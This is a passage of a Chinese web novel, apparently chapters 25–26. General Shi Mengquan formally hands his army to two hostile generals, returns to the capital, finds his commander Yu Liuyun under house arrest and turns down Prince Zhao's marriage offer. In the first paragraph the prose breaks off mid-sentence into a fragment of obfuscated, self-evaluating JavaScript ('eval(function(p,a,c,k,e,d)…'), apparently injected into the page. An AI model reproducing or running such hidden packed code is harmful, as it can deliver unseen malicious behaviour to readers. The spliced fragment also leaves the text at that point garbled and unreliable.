石梦泉惊道:“怎么了?” 跟着罗满后面,赵酋也进来了,两人都是一脸的激愤。 罗满道:“定西将军和威远将军来了,要接管咱们的队伍。世上哪有这种事情?别说将军你现在好了,就算你病着,也没有让他们接管的道理。” 石梦泉皱起了眉头:看来情形很不乐观。 才说着,门外又进来了几个亲兵模样的人,并不面生,以前石梦泉和玉旒云跟刘子飞打郢城时都见过。由他们开道,听到有人“咳咳咳”地清了清嗓子,便见吕异和刘子飞走了进来:“石将军,身体还好吧?” 石梦泉站起身来,行了个礼:“很好,多谢两位将军关心。未知两位到来,所为何事?” 两个老将相视“嘿嘿”一笑:“石梦泉,你坐到将军的位子上也不过才不到一年的功夫,官架子倒是有了么?不过小孩子还是不要太张狂的好,像玉旒云这样,不是摔倒了么?” 刘子飞和吕异,玉旈云找他们联兵攻楚,他们故意拖延,想来早就计划好了要对玉旈云不利的。现在来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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悦敏道:“你要发落也不是不可以。不过,可不可以先等我办完了私事?石将军是我悦敏未来的妹夫。我此行是特地请他回西京见我父王的。北疆战事随时有变,我父王在西京可耽搁不了多少时日,所以我得立刻带石兄弟返程,才能赶在父王离京之前见上一面,双方家长把婚期定下来。到这件事办完了,你爱怎么发落就怎么发落。不过,我想我们赵王府的女婿,好歹也是做个伯爵吧。” 吕异一怔:这是摆明了在袒护石梦泉了!心中痛骂:他娘的,玉旒云有个好姐姐,她的应声虫石梦泉现在也发达了,找了个好老婆。真他娘的! 刘子飞庆幸自己收口早,这时见风转舵还来得及:“既然如此,永泽公打算何时启程回京?” 悦敏道:“我才来,虽然着急,也不能凳子没坐热就走吧?何况石兄弟还未大好,总要多打点打点。”因吩咐娇荇道:“你还不去追上郡主,把东西收拾收拾?再问问这位大夫,路上该带哪些药,” 林枢大概也知道这情形他无法坚持让石梦泉留下了,面无表情地跟着娇荇一起出门去。 悦敏又对吕、刘二人道:“皇上下了圣旨让你们接管玉将军的队伍,我不好插手。不过,你们心里转了些什么主意,别以为我不知道。要是你们敢公报私仇,有你们好果子吃!” 吕、刘二人都低着头,不敢反驳。 悦敏即向石梦泉道:“石兄弟,我想明日总要动身了。你有什么要交代部下的?” 事情闹成这样,吕、刘二人显然没安好心,要如何才能让他们无法加害玉旒云?石梦泉苦苦思索,良久,对罗满道:“给我把书记官叫来,把将士名册,细软、辎重、粮草的登记册,都拿来。” 罗满虽不明就里,不过,对于石梦泉的命令,他越来越觉得应该绝对服从。因得令而去,不多时,和书记官抱着一大叠名册帐簿回来了。 石梦泉道:“拿上几本空册子,带了笔墨,跟我上军营里去。吕将军、刘将军,你们可愿同去么?” 吕、刘二人可不知他玩什么花样,生怕被耍了,哪有不去的道理,都点头。 石梦泉道:“永泽公,下官想请你也一起去,好做个见证。” 悦敏盯着他,微微一笑:“好!” 石梦泉来到大军驻扎的营地,让赵酋领了前锋营的名册,卢进领了健锐营的名册,陈灏令了骁骑营的名册,韩夜领了神弩营的名册,慕容齐领了步军营的名册,还有一位工兵营的督尉许昌也领了他工兵营的名册,各自找了自己的千夫长、百夫长来,按照名册,核对手下人员,就是随军的郎中,做饭的伙夫,喂马的马夫和其他打杂的也不放过,但有阵亡的,就勾掉名字,伤残的,就注上“伤残”,疾病的就注上“疾病”,被俘或下落不明的一律写“俘虏”。每核对完一册就誊写一册,大约有两个时辰,全部人员就核对完毕。 石梦泉又让众人一起到军需库来,清点细软、辎重和粮草,末了还清点了马匹车辆。同样,每核对完一册就誊写一册,又花了一个多时辰才做完。这时天都已经快黑了。吕异和刘子飞两人风尘仆仆赶来,本想逞一回威风,然后就好好吃喝一顿,不想先撞上了悦敏碰了一鼻子灰,又被石梦泉拖出来做了三四个时辰的事,实在肚子咕噜直叫。 仓库里已经昏暗,但是禁烟火。石梦泉让众人退了出来,才叫掌灯,将原先的名册帐簿和新誊写的分开两边,道:“永泽公你是见证,现在玉将军麾下所有将士都记录在册,我军所有物资也都点算完毕。吕将军,刘将军如果没有异议,请和我一起签字画押,将来皇上要查问玉将军是将怎样的一支队伍交到你们二位的手中,也好有个凭证。” 吕异恨恨地抓过笔来:“怎么,还怕我和刘将军贪你们的粮草辎重不成?真是小人之心!” 石梦泉不跟他争论。他签一册盖一个官印,石梦泉也签一册盖一个官印。刘子飞咬牙切齿,跟着签字盖章。好半天才把新誊写的册子都处理完了,石梦泉又请他们把原先的名册帐簿也画上押。 吕异怒道:“哪来这么多麻烦?你还怕我们烧了这些破纸不成?” 石梦泉并不动怒,静静道:“誊写的这一套名册帐簿是我交给两位将军的,算是我替玉将军给二位一个交接凭证。原来的这一套,我要带回西京去。那是我要交给玉将军的一份凭证。” 吕异冷哼了一声:“交给她有什么用?”言下之意,玉旒云这一次摔倒恐怕是难以爬起来了。 石梦泉心里虽然焦急忧虑,但是仍旧保持着镇定:他所能做的每一件事,必要做好,不可给玉旒云忙里添乱。 悦敏呵呵一笑,也上前来抓了笔道:“我是见证,也要签字画押吧?来来来,三位将军接着签那一沓,我来把这边先签完。”说着,真的拿出官印来,且签且印。 他生在宫廷之中,而赵王家又是经历过太宗末年和仁宗朝的争权夺利,对阴谋看得十分清楚。本来仁宗即位“真假遗诏”事件中的另一位皇子,就是后来谥号密王的,生前也深得太宗的喜爱。太宗驾崩之后,朝中不乏拥护密王之人,甚至有人阴谋刺杀仁宗,拥立密王登基。事情败露后,密王畏罪自杀,所有参与其事着若不是自行了断了,都被处以极刑。当年有一位手握重兵的镇南将军曹墅,在“真假遗诏”事件中一直没有表态。密王和同党死后,他上书仁宗,认为兄弟阋墙,这事处理得太不妥当。仁宗是个懦弱的人,凡事都听太宗托孤的几位辅政大臣的话。接到这折子自然问几位大臣要如何是好。这几位辅政大臣心里都各有打算——处决乱党的时候,实际借故杀了不少异己,生怕曹墅把他们揭穿,于是就诬陷曹墅必是密王一伙。仁宗虽然胆小,但并不糊涂,知道曹墅也是太宗信任的重臣,便并不听信辅政大臣的话。几位大臣越发担心了,一商议,就定了一条奸计,乘着南方和楚军的战事刚好失利,就借机将曹墅招回朝来,给他扣上一顶“贪污军资,残害士卒”的罪名。仁宗怎能相信?而几位辅政大臣证据确凿,曹墅因而被判了斩立决。赵王是仁宗之叔,当时已在驻守北疆抵抗蛮族,太祖皇帝打江山时,他和太宗、曹墅都是并肩作战的伙伴。当时以他年纪最幼,曹墅待他既像主子,又像亲兄弟一样。赵王闻听此噩耗,怒不可遏,立刻叫人明查暗访,终于发现几位辅政大臣在暗中做的手脚。他即亲自赶回西京,将辅政大臣的阴谋揭露,替老友平反。不过,那时已经人死而不能复生了。 这些事发生时,悦敏也才不过十三四岁,并不十分明白。但赵王时时叹息,没能救下老友性命,实乃终身憾事!现在悦敏看石梦泉面对两位来者不善的将军,竟然不乱方寸,把一切处理得井井有条,不留下任何破绽让人有可乘之机,这样的缜密镇定,实在叫人不得不佩服。他不禁暗叹:难怪玉旒云仅一年的时间就从默默无名的亲贵子弟跃升为尽人皆知的惊雷大将军,这位副手的功劳实在不可小觑。若没有他,不知玉旒云能怎样! 总过了半个时辰,两沓名册帐簿才全部签字画押完毕。石梦泉把原本的那一份自己捧着,誊写的留给吕异和刘子飞。两人都是气呼呼的样子,根本不去动那些册子,石梦泉就对罗满道:“罗副将,你和书记官两个把这些都装箱锁好,我不在的期间有什么人事变动,请示过两位将军,你们就记录在册。不过,必须你们两个和威远、忠义将军四人一同记录,也只能你们四人一起记录。凡要修改的,必须注明日期,签你们四个的名字,加盖你们四人的印章,否则无效。你可清楚?” 罗满看他真要回京,这话交代得仿佛“后事”一般,忍不住低声问:“将军,真就把我们都交到这两个老家伙手里?” 石梦泉一笑,道:“你说呢?”忽然就提高了声音:“你要好好把将士们都照顾周到了,训练也不能偷懒,等着玉将军和我回来。” 罗满心中一动,眼眶不由一热:“将军……” 而赵酋、卢进、陈灏、韩夜、慕容齐和许昌也都心情激荡。自玉旒云突然被招回京,林枢并不向外泄露石梦泉的病情,军中盛传石梦泉药石无灵,士气低落。如今,见他精神抖擞地指挥众人,又亲口承诺必和玉旒云一起回到战友中来,守卫军需库的士兵中不由爆发出一阵欢呼之声。几位督尉都纷纷表态道:“将军放心,等你和玉将军回来的时候,咱们的将士们又像过去一向所向披靡,只要你们一声领下,你和玉将军的旗子指到哪里,咱们就把哪里打下来!” “哼!”吕异只是冷笑。不过众将士并没有一个把他放在眼里的,只在那里表着自己的忠心与豪情。 刘子飞皱起了眉头。 悦敏看在眼中,想道:这两个人想来接收了玉旒云的部众,拣个大便宜,却其实是把自己送到了玉旒云的掌握之中,以他们的本事,怎么可能震得住这些猛士们?一旦玉旒云和石梦泉在西京有什么三长两短,恐怕…… 石梦泉拍了拍罗满的肩膀:“罗副将……”两人离得极近,他又压低了声音道:“罗大哥,战场上出生入死,你比我经验多,我心里真是把你当了兄长一般。这些将士,也都是我的兄弟。我去西京看看玉将军有什么事,这里就交给你了。” 罗满激动得嘴唇直打颤:“将……军……” 石梦泉又道:“千万小心行事,不要被别人抓到了把柄,现在不是争强斗气的时候,凡事忍耐三分。” 罗满点头道:“是。卑职记下了。” 石梦泉就又拍了拍他的肩膀:“我先替玉将军谢谢你了。”说完,转向吕、刘二人,道:“部队交接,两位将军还有什么需要问的?” 吕异“哼”了一声,觉得这个平民出身的小子,这个玉旒云的应声虫,实在有点拿着鸡毛当令箭。 刘子飞毕竟忌讳面前这是赵王府未来的女婿,不好恶言相向,道:“忙了这么半天,还没把圣旨交给你。且叫他们摆了香案来,你把圣旨接了,也算正式交接。” 石梦泉点点头。罗满即吩咐士兵去办了。礼数齐备,焚香行了三跪九叩的大礼,接过圣旨来。他企图从中寻找出一些皇上的意思:是真的震怒了吗?可是,完全官样文章,无非是说看他病了,招他回京养病,等等。 他心里的忧虑更甚。却不能在士卒面前表现出来。反而一笑,朗声对众士兵道:“大家好生休养,好生操练,我去西京一趟,不日就和玉将军一起回来!” 26. 第 26 章 石梦泉不知道是自己心太急,还是悦敏的车子走得太慢,又或者一路上愉郡主老是要停下来欣赏这树林那小溪的,搞得他很烦。众人到了四月底才回到西京。这时,正时正是暮春时节,应春树盛开着红白相间的花朵。 应春树又叫旱莲,树冠如华盖,花朵似睡莲,每年都在春将尽时开放,花期极短,只有六七日。知道是玉旒云喜欢的花,爱就爱那刹那的辉煌。在他们开始东征西讨之前,每年此时都到街头来看应春树——在花极盛也将败时,和风微送,片片花瓣飘落,玉旒云一袭白衣,花瓣雨中悄然独立,仿佛是画中人。 每此时,石梦泉愿意用一生来交换,让时间多停留一刻。 而今日,身边是叽叽喳喳的愉郡主,这姑娘不住口地说,离家久了想念王府小厨房里的玫瑰丝点心,也不知道厨娘知不知道她今天到,有没有准备这点心。悦敏听了,在一边笑道:“你这丫头都要嫁人了还长不大,岂不知夫为妻纲么?你该先问问石兄弟喜欢吃什么才对——哎,你追人家都追到前线去了,竟然连人家吃什么都不晓得,这成何体统?” 愉郡主脸一红,跟着反驳道:“有什么奇怪的?他是玉旒云的应声虫,玉旒云喜欢吃什么,他就得跟着吃什么啦。我才不乐打听玉旒云喜欢吃什么呢!” 悦敏知道这个妹妹死鸭子嘴硬,笑了笑,不跟她争。果然没得一眨眼的功夫,愉郡主就自己觉察出“不成体统”了,轻声问石梦泉:“你喜不喜欢玫瑰丝点心?” 石梦泉满心只有玉旒云的安危,根本不在意身边。 愉郡主扭扭捏捏,又问了一声:“你喜欢吃什么呀?”结果依然得不到回答。她大小姐的面子便挂不住了,气乎乎地把手一甩:“好啊,那个谁,你饿死算了!” 悦敏看着直摇头叹气,轻轻拍了拍石梦泉的肩膀,玩笑道:“石兄弟,我这个妹妹实在三从四德一样都没有。我们赵王府万分愧疚,将来就苦了你了。” 石梦泉没笑,反而前不着村后不着店地来了一句:“卑职想先回家去看一看。” 悦敏一愣:“按理是该这样,不过,父王急着想见你。我早已差人通知了府里,这会儿恐怕筵席也备好了。” 赵王三朝元老,战功卓著。尤其难得的是,经历了太宗末年和仁宗年的争权夺利腥风血雨,许多与他同时的权贵都已经丧命或者失势,只有他还屹立不倒。他在朝廷中就像一支始终中立的力量,任何明争暗斗,当僵持不下时,谁能够得到赵王的支持,谁就能成为最后的胜利者。 若能叫赵王青眼有加,设宴等候,那是莫大的荣幸。 可石梦泉丝毫也不在意,坚持己见:“卑职长久没有回去了,实在是不放心家里。” “这样……”悦敏摸着下巴,似乎很是为难。 “郡主,你看——”娇荇坐在车的前面,手往街边一指,“那不是……” 愉郡主循她所指望过去,只见几十个禁军森严把守,那处府邸大门紧闭,正是玉旒云的公爵府。 石梦泉也看到了,心陡然一沉:“停车!”喊时,也不待那车子停稳,已经跃了下去,直奔那队禁军。 领头的校尉竟然是玉旒云当侍卫时的旧部,他也认得的,名叫蒋文。见了他,就迎上来:“石将军!” 石梦泉紧皱着眉头,无心寒暄:“到底是怎么一回事?” 蒋文四下里看看:“这事说来话长。我们奉了圣旨,不让玉将军离开府邸一步。实在是情非得已。” 石梦泉道:“圣旨?皇上因何下这样的旨?玉将军被禁足多久了?” 蒋文道:“这三言两语也说不清楚,玉将军回来面见了皇上,就被罚在家闭门思过了。究竟思的什么过,我们也不知道。” 石梦泉一刻也不能等了:“我要见玉将军——” “那不成——”蒋文差点儿就没拦住,“将军你别为难卑职。圣旨里说了,玉将军禁足期间,任何人都不能见。上次皇后娘娘亲自来,都没进得去。” 石梦泉知道事态严重,只恨不能杀进府去向玉旒云问个究竟,若是有危险,就立刻带了她……怎么样呢?一时的冲动不能解决任何的问题。他感觉自己紧握的拳头在微微颤抖。 蒋文也大约可以猜出他的心情,低声道:“石将军,你要是有什么话想带给玉将军,卑职或者可以想法子帮帮忙。” 什么话?就是赴汤蹈火也不让她出事。石梦泉想,不过这样的话不说也罢,只要去做就行了。 他因摇了摇头:“目下倒没什么要紧话。等我想到了,再来麻烦你。” 蒋文自然答应。此时悦敏也到了跟前,皱了皱眉头道:“我离京时还没弄成这样。如此大动干戈,不也知是为了什么。” 石梦泉心里乱极了——恐怕连皇后娘娘也不晓得内情,这时却要去问谁? 悦敏拍了拍他,道:“石兄弟,我看你还是先上我们王府来。父王人面广,这一个月也在朝中走动,说不定有些消息。” 石梦泉无奈,只好点了点头:“多谢。” 马车到赵王府,先行的侍从早就去通报了,下人们已打开了大门迎候。一见悦敏等到了,立刻都跑了上来——愉郡主的丫鬟婆子们尤其殷勤,看到了主子,即嘘寒问暖,年纪大的都开始淌眼抹泪,弄得愉郡主也红了眼圈:“我这不好好儿的么?” 几人下了车,看府内又出来一批人,乃是丫鬟们簇拥着赵王妃来了。王妃已有五十多岁的年纪,愉郡主是幼女,宝贝得不的了,远远她叫了声:“小愉——”也就哭开了。愉郡主自然要上去撒娇安慰一番。王妃道:“都是娇荇这死蹄子,正经主子都叫她教坏了。这丫头人呢?看我不打折了她的狗腿!”娇荇早晓得自己少不了责罚,垂头远远躲在悦敏和石梦泉的身后。 王妃抬眼寻她,就看到石梦泉了,目光不禁停住。 悦敏哈哈一笑:“母妃,娇荇虽然无状,却好比那戏里的红娘。儿子把石将军给您带回来了,您看如何?” 王妃上下打量着石梦泉,自然是越看越满意,道:“都进来吧,你父王也等着呢。” 于是就进了王府。愉郡主自然由王妃领着到后面去梳洗打扮。悦敏便同石梦泉上大厅里拜见赵王。 石梦泉是第一次见这位两朝重臣。太宗的众兄弟中,赵王是最年轻的一个,这年还不到花甲,身体康健,满面红光,见到儿子和未来女婿一同进门,即朗声大笑:“可见到了!江山代有英雄出,老夫不服老都不成!” 石梦全恭敬地上前行礼。赵王一把就托住了:“免了免了,老夫听人讲你在南方受了伤,可好了么?这里也都不是外人,繁文缛节都省了吧。坐!”他指着自己身边的位子,石梦泉犹豫了一下——若如此,悦敏岂不落了下首? 悦敏笑笑:“我就不明白为什么男人都不喜欢做上门女婿。人说丈母娘看女婿,越看越中意。我瞧着老丈人看女婿,也比儿子亲。石兄弟你就不要推辞啦,我这亲儿子只怕得快点儿找个人家倒插门去,这王府就快没有我的立足之地了。” 赵王常年征战,儿子跟着他出生入死,父子关系亲密,有时竟和兄弟一般。他瞪了儿子一眼道:“你倒会说,怎么也不见你去找? 悦敏立刻闭口不言,在石梦泉下首坐了。有下人奉上茶来,他就搭讪评价茶叶的好坏,把话题从自己身上引开去。 宾主自要说些无关痛痒的寒暄话。赵王主要是问石梦泉身体可好了,而石梦泉含混地答着,猛然见一人在门前闪过,看着有些面熟,仔细一回忆,可不就是当时的南方七郡总督康申亭么?被押解上京后在赵王府做了书记官! 石梦泉看一眼赵王,正微笑着说起什么药调理身子最有效。他觉得有些蹊跷:赵王一家上下显然是对他和愉郡主的关系有极大的误会,殷勤招待本在情理之中,赵王待他真如自家小辈也算不得过分。只是,自己亲手惩治了康申亭。若按玉旒云的分析,康申亭是有赵王授意才敢做如此大胆之事,而赵王很可能是起了反心——且不论玉旒云的猜测在不在理,石梦泉终究是狠狠扫了赵王面子的人,再怎么也不会立刻亲密无间至斯吧? 他不由心里就存了几分戒备。 这时赵王道:“你们这次在南方失利,我也看到战报了。玉将军是个不可多得的人才,其实从飞龙峡偷袭远平城乃是一条绝妙之计,可惜没有后援……唉,但无论如何,这可算不得你们的过错。年轻人第一要有胆识,第二要有见识,再多磨练磨练,以后自然不可限量。” 石梦泉不语,看他下面说什么。 悦敏就插进来道:“父王,儿子和石兄弟路上经过玉将军的府邸,发现被禁军围了,这是怎么一回事?” 赵王皱着眉头,捋了捋胡须,道:“这事……我觉得是皇上也很难办。” 石梦泉转头凝视着他,揣测这话的深意。 悦敏也问道:“怎么讲?” 赵王道:“玉将军这次出兵,虽然老夫看来是颇有远见的,但朝中反对的人可不少,认为隆冬时节,又是落雁谷之战方过,士兵和补给的力量都未完全恢复。不过,玉将军还说服皇上远征大青河。这一战若是胜了,她自然立下奇功,如今却未能在楚国拿下一座城池,我方还折损了许多将士……” “可是这胜败……”石梦泉忍不住要为玉旒云辩白。 赵王示意他稍安勿躁听自己说下去:“胜败乃兵家常事,凡我带兵打仗的人,哪有不晓得的?坏就坏在,第一,惊雷大将军自领兵以来是个常胜将军,有些小人们是非常喜欢看常胜将军打败仗的,别人摔得越厉害,他们就越高兴,好像自己能长二两肉似的。这次,战报一传回来,虽然应该算是打和了,但是朝中‘战败’之声一片,夸大其辞,添油加醋,老夫听得耳朵都要起茧了。第二,玉将军远征是皇上亲自出面支持才能成行的,如今失利,皇上的面子下不来。第三,那个户部侍郎顾长风参了玉将军一本,说她乱征民夫,第四,又不晓得哪里突然冒出来西瑶的使者,说她侵吞贡品……总之,全都搅和在一块儿了,所以皇上就……” 石梦泉的心一直在往下沉,玉旒云的个性使她在朝中树敌如林,自己要是早些劝着,少让她和人冲突,恐怕今日也不会如此。 赵王道:“老夫觉得皇上虽然为难,但这事做的实在很不妥当。刘子飞和吕异那些人,论智谋,论胆色,哪一个比得上玉旒云?距离大青河那么近,却偏偏不肯支援玉旈云。事后又来说长道短——无非是嫉妒小辈罢了。这些人的言论,大可以当成是耳旁风。顾侍郎腐儒之言,将领在外,要是连民夫征调也要回朝请示,那仗还怎么打?还有什么侵吞贡品,这都不晓得哪里造谣造出来的!皇上是天之骄子,一国之君,怎么能耳根子这么软?再有,用人不疑,疑人勿用。皇上既然信任玉旒云,支持她出征,就应该荣辱与共。哪有说胜利了,就是皇上英明,失利了,就全怪罪到玉旒云一个人头上的?这样下去,将来谁还敢替皇上带兵?” 话是没错,不过赵王是庆澜帝的长辈,当然可以这么说,石梦泉只能默坐着不出声。 悦敏道:“父王,那您看皇上究竟要把玉将军怎么样?” 赵王拈着胡须:“这个我可说不准了。我起先觉得皇上不过就是要下个台阶,做做姿态,现在的架势……” 怎样?石梦泉忧心如焚:他虽然直觉庆澜帝宠爱玉朝雾皇后,对玉旒的过失一向都很包容,小惩大戒便算,可这一次,实在所有的举动都太反常了。 赵王摇摇头道:“不晓得。不过,我看玉将军是个人才。如果为了一点儿小错就严加惩罚的话,实在是太可惜了。尤其,还都是因为小人作祟。我老夫在一天,可不准这样的事发生。” 赵王愿意相助?石梦泉暗自惊讶:莫非还真是为着欣赏玉旒云,所以不计前嫌?总觉得牵强。若是为了自己和愉郡主的“关系”,也不太说得通……他虽怀疑,可还是不得不倒身拜谢, 赵王扶他道:“何必跟老夫客气?听说你曾经跟顾长风在南方七郡治蝗,大约同他还能说上几句话,不妨去跟他聊聊,劝他别再同玉旒云为难。老夫就去寻那个西瑶人问个明白,哪里就冒出侵吞贡品这种无稽之谈来!” 的确,石梦泉想,玉旒云对珍宝古玩一点儿兴趣也没有,根本不可能做侵吞贡品的事……赵王爷连提起顾长风的名字这样轻描淡写,难道是我们对康申亭的事怀疑错了? 三人说着话,下人来报筵席备好了。宾主便相携到花厅去。 赵王的几名侧妃小妾早已经等着,花枝招展,都上来见了礼。大约早听说了石梦泉是何许人,今日方才见到庐山真面目,不免有些窃窃的议论。一时,王妃也来了,直说“抱歉,抱歉,久等,久等”,但优雅地朝边上略略让开,叫大家看到她“迟到”的原因——愉郡主穿着一身烟紫色衫裙,上面金线挑绣着牡丹花王,竟似全然变了个人似的,完全不见了少女的活泼稚气,石梦泉差点儿就没认出来。 悦敏也略愕了愕,笑道:“这是我妹妹么?我还以为是哪里来的仙女。” 愉郡主窘迫地一跺脚:“母妃,你看哥哥他又欺负我!” 王妃笑着,还没发话,悦敏又道:“你这时还求母妃做主么?人说‘嫁出去的女儿泼出去的水’。我看你这水已经泼了一半了。你还不如求石兄弟帮你出头呢——不过石兄弟,我可真心想和你较量一下枪法,不知你何时有雅兴?” 石梦泉敷衍:“自然是看永泽公何时有雅兴,卑职定当奉陪。” “什么‘永泽公’‘卑职’的?”赵王道,“这么见外——来,坐下喝酒!” 这顿饭石梦泉吃得可一点儿也不舒坦。赵王全家把他和愉郡主的事看成“你情我愿”,顺理成章——赵王甚至知道他母亲在皇后跟前当差,早就让王妃进宫去说过了。只是王氏因为隐隐知道儿子的想法,就推说“高攀不起”。但经不住王妃一再苦劝,王氏只有说等儿子回来再看。 于是,这天饭吃到最后,赵王就明白地问石梦泉:你看如何? 愉郡主当时就红着脸跑到里间去了。 石梦泉只是愣愣的:这世上,除了那个他真正永远也攀不起的人,他心里还能容下谁?可这光景,要得罪了赵王,那可…… 悦敏还以为他也腼腆,哈哈笑道:“我妹妹脸皮薄,没想到你一个大男人也如此。你们两个到真是有趣的一对!” 侧妃和小妾们也都吃吃笑着在一旁打趣。赵王夫妇瞧这事是铁板定钉了,只要长辈出来拍个板,彻底捅破这窗户纸,小辈们也就没什么好扭捏的。赵王当下叫人斟了杯酒,举到石梦泉面前:“来,老夫觉得年轻人就要干干脆脆,干了这一杯,咱们就……” “王爷!”石梦泉突兀地站起身来,抱拳深深一礼,“玉将军于卑职有恩,她现在身在困境之中,卑职实在无心儿女之事,请王爷见谅。能否容卑职先将玉将军的事处理完?毕竟大青河一战,前线直接失利的人,是卑职。” 席间的气氛陡然一变,赵王一时竟呆住了,连悦敏这爱说笑的人也想不出打圆场的话来。愉郡主本来就一直躲在里间偷听,看到父亲要将婚事最后敲定下来时,一刻心几乎跳出了嗓子眼儿。不想石梦泉突然冷冰冰来了这么一句。她一团兴奋的心情陡然被泼了一盆冷水——却没有冷下来,而是转成了愤怒。她气冲冲从里间跑了出来,嚷道:“又是玉旒云!是不是你做什么都要玉旒云点头,她不在,你就没主意了?玉旒云到底是什么东西嘛?死掉算啦!” 一通乱吵吵,眼泪就流了下来。 赵王喝道:“小愉,怎么说话的?” 愉郡主却是不理,跺脚朝外跑。因为穿了这么身华贵累赘的衣服,在过门槛儿时还绊了一下。娇荇好心来扶,却被她一把推开。眨眼的工夫,这姑娘就跑得没了影儿。 赵王夫妇多少有些尴尬。石梦泉亦有点后悔自己这话说得不够婉转,但这样的光景,他实在没有其他的选择。 “说得也不错……”赵王勉强笑道,“你对玉旒云实在是忠心耿耿。其实论军职,你并不在她之下。似你这般知恩图报的年轻人现在可不多见。老夫欣赏得紧。” 石梦泉垂头不语。 赵王道:“你放心。玉旒云也是老夫欣赏的人,这事,老夫揽下来了!” 虽然赵王有此承诺,可石梦泉心里仍然放不下。按照规矩,武将回京要拜见天子,次日一早他就去御书房求见庆澜帝,打算把战败之责揽到自己身上,让皇上减轻对玉旒云的处罚——或者,找着了台阶下,就不处罚玉旒云了。可是,在门前立等了一个上午,居然太监出来道:“皇上政务繁忙,说今儿不见石将军了。石将军也不必拘泥于这些礼数,左右没有要紧的事,回家养病为上。” 竟然吃了一个闭门羹! 石梦泉感觉庆澜帝是有心回避——这就太奇怪了,如果是单为了大青河的事,没理由只处罚玉旒云一个,如果是为了什么乱征民夫、侵吞贡品的事,实在是小题大做,无中生有。除非是存心要针对玉旒云一个人?但庆澜帝为什么要针对玉旒云一人?完全没有道理! 他百思不得其解,觉得其中或有苦衷,那么玉朝雾皇后可能知道些内情。只是,自己作为外臣,不能随便进入后宫。斟酌再三,只好按照赵王的提议先去寻顾长风。 但正当他要退出御书房的宫们时,忽然听见翼王在背后笑道:“哎呀,石将军,我听说你病得厉害,原来已经好了?” 石梦泉匆匆行了个礼,不打算纠缠,继续朝外走。 翼王偏偏不放:“石将军回了京,见完皇上就该去见玉将军了吧?见到了帮小王问一声,我昨天送去的那盒茶叶她觉得怎样。” 明知我进不了玉府偏偏来说这样的话,石梦泉压着怒火:不过,翼王送茶叶去?莫非他倒能进去? 翼王就是存心想叫他问这个问题,看他沉吟,等不及自己先说了:“呵呵,我前天下棋赢了皇兄,就特请皇兄准我去给玉将军送点东西。玉将军爱清静,闭门休养,我自然不好去打扰,所以送了茶叶也不知合不合她的心意,呵呵,特请石将军帮问一问……”说时,又好像突然想起似的,道:“哎哟,我倒忘了,石将军进不了玉府的门……算了算了,还是我改日再去一趟吧。” 石梦泉真是又好气又好笑,敷衍地又行一礼,便即告退。翼王却还没说够,又道:“说不准今天小王跟皇兄下棋又能略胜一两子,到时候我请特旨到玉府去,石将军可有什么话要带么?”石梦泉只是不理,自己出了御书房来。 偏也巧,才走出没多远,便见他母亲王氏在转角处等着。因赶紧上前拜见。 王氏大约先也听话所了儿子病情凶险,担心得食不下咽,寝不安身,这时见他无甚大事,才放下了心来,不过,面上依然忧郁,甚至有些责备:“我自听说赵王府的小王爷亲去南方寻你,就日日托人在这边帮我候消息。今日听说你来了,我就立刻来见你——你是怎么保护玉将军的,现在竟出这样的事?” 若不是在皇宫的交通要道上,石梦泉便要给母亲下跪了。他垂首道:“都是儿子的过错。” 王氏叹了口气,道:“不是为娘的偏心,特特要责怪你。实在是最近发生的事也太多了。你知道么?咱们在人在北疆大胜蛮人。蛮人的那个什么可汗送了一位公主给皇上。才来是封了贵人,眨眼倒又封了贵妃。皇上已经很久没有上凤藻宫来了。” 啊,原来是这样!石梦泉心里的疑团稍稍解开,但是忧虑更甚。“娘,到底皇上是为了什么事在责备玉将军?” 王氏道:“还有什么?无非是你们在南方打仗的事吧。打仗的胜败娘是不明白,你又是伤又是病的,娘知道你尽了力了。唉,可是——皇后娘娘对咱们家有多大的恩典?她就玉将军这一个亲人啊!要你陪在玉将军的身边,你不是不知道用意。除了要你保护她的安全外,更重要的,是因为玉将军总是看着远方,看着高处,往往留心不到脚边的障碍。你就是要替她看着身边危险,不让她掉进陷阱。可你却……贡品这么大的事,你怎么会不拦着她呢?” 石梦泉一愕:“玉将军真是动了朝廷的贡品?”不是遭人污蔑么? 王氏道:“玉将军被禁足之前,和皇后娘娘见过一面。贡品的事,她亲口承认的。” “是什么贡品?”石梦泉焦急地问道,“玉将军怎么会动用朝廷的贡品呢?” “说是一株灵芝。”王氏道,“皇后娘娘也奇怪玉将军为什么会拿西瑶进贡的灵芝。不过玉将军不肯说。唉!” 石梦泉无比的困惑,更还有痛苦。十六年来跟随在玉旒云的身边,他了解她的性格。她的许多举动为外人所误会,唯有他懂得背后的因由。可是这件事,他一点儿也不明白。毕竟,她心里还有他无法触到的角落。 那么现在究竟要怎么办? 想再跟母亲说几句话,却见小巷里一个太监在慌慌张张地招手了。王氏见了,道:“我要回去了。要是宫里有消息,我就想法叫人传给你。你要尽快把玉将军救出来。皇后娘娘是一天比一天消瘦了。” 石梦泉何用母亲吩咐?点了点头。 王氏自朝回走,几步,又停下转身道:“赵王爷家的郡主,跟你……到底是怎么一回事?” 烦心的事总是一桩接着一桩。石梦泉道:“是王爷和郡主都误会了。娘请放心。” 王氏仔细端详着儿子的脸,幽幽叹道:“其实郡主是个好心眼儿的小姐,我们无论如何也高攀不起。你若是为着这个理由拒绝王爷,娘当然也支持你。但你要是心里还有那非分之想……” 石梦泉忙道:“娘,你说到哪里去了?当务之急是让皇上不要再怪罪玉将军,其他的事儿子一概都管不着。娘就回去,请皇后娘娘好好休养,等儿子的好消息吧。” 王氏微微地摇了摇头:“你这孩子……”但终究没再说下去,同那小太监匆匆走了。 石梦泉目送母亲离去,便自出皇宫,一肚子的心事,连把原本去见顾长风的打算都忘记了,走出很远才发现到了“四海阁”,正是樾国接待各地使节的场馆。在楚国叫“夷馆”。但因为樾国本不是中原人出身,忌讳“蛮夷”的说法,因此改了这么个名字。 石梦泉暗想,既然到了这里不如就去见见那个西瑶的使者,看看贡品到底的怎么一回事。因下了马,通报了身份,进了四海阁去。 那西瑶使者不多久就出来相见了,乃是一个四十多岁的儒生,自我介绍名叫蓝沧,在西瑶任礼部侍郎之职。他后面还跟了个随从模样的年轻人。石梦泉无意中看了一眼,见此人的眼睛竟是冰绿色的,不禁一愕。那随从赶忙低下了头去。 